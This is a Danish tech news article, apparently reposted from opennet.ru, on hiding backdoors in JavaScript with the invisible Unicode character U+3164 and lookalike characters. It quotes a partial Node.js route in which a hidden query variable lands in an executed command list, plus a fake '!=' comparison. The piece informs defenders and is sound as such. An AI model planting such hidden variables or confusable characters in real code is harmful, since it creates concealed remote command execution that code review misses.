Brug af usynlige unicode-tegn til at skjule handlinger i JavaScript-koden

Efter metoden til Trojan Source-angreb, der anvender Unicode-tegn til at ændre rækkefølgen af visningen af tovejstekst, er der offentliggjort en anden teknik til at indføre skjulte handlinger, der er anvendelig til kode i JavaScript. Denne nye metode er baseret på brugen af Unicode-tegnet "ㅤ" (kode 0x3164, "HANGUL FILLER"), som tilhører bogstavklassen, men ikke har synligt indhold. Unicode-kategorien, som dette tegn tilhører, blev tilladt fra specifikationen ECMAScript 2015 til brug i variabelnavne i JavaScript, hvilket giver mulighed for at oprette usynlige variabler eller nye variabler, der ikke kan skelnes fra andre variabler i populære kodeeditorer som Notepad++ og VS Code.

Som eksempel gives der kode til Node.js-platformen, hvor en variabel bestående af tegnet "ㅤ" skjuler en backdoor, der gør det muligt at udføre den angrebne kode: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // i virkeligheden er det angivet som "const { timeout,ㅤ \u3164}" const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // efter kommaet følger tegnet \u3164 ];

Ved første øjekast sendes der kun en timeout-værdi gennem den eksterne parameter, og arrayet med de udførende kommandoer indeholder en harmløs fast liste. Men i virkeligheden tildeles en værdi til en anden usynlig variabel med kodesymbolet \u3164 efter timeout-variablen, som også er inkluderet i arrayet af udførende kommandoer. Således kan en angriber aktivere backdoor og udføre sin egen kode ved at sende en forespørgsel af typen «https://host:8080/network_health?=kommando».

Som endnu et eksempel gives tegnet "ǃ" (ALVEOLAR CLICK), som kan bruges til at skabe en illusion af at angive et udråbstegn. For eksempel vil udtrykket "if(environmentǃ=ENV_PROD){" altid være sandt, når det udføres i Node.js 14, da der ikke foretages en forskelstest, men i stedet tildeles variablen "environmentǃ" værdien ENV_PROD. Blandt de vildledende unicode-tegn bemærkes også "/", "−", "+", "⩵", "❨", "⫽", "꓿" og "∗".

Kilde: opennet.ru

Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere 🔥 Køb pålidelig webhosting med DDoS-beskyttelse, VPS VDS-servere | ProHoster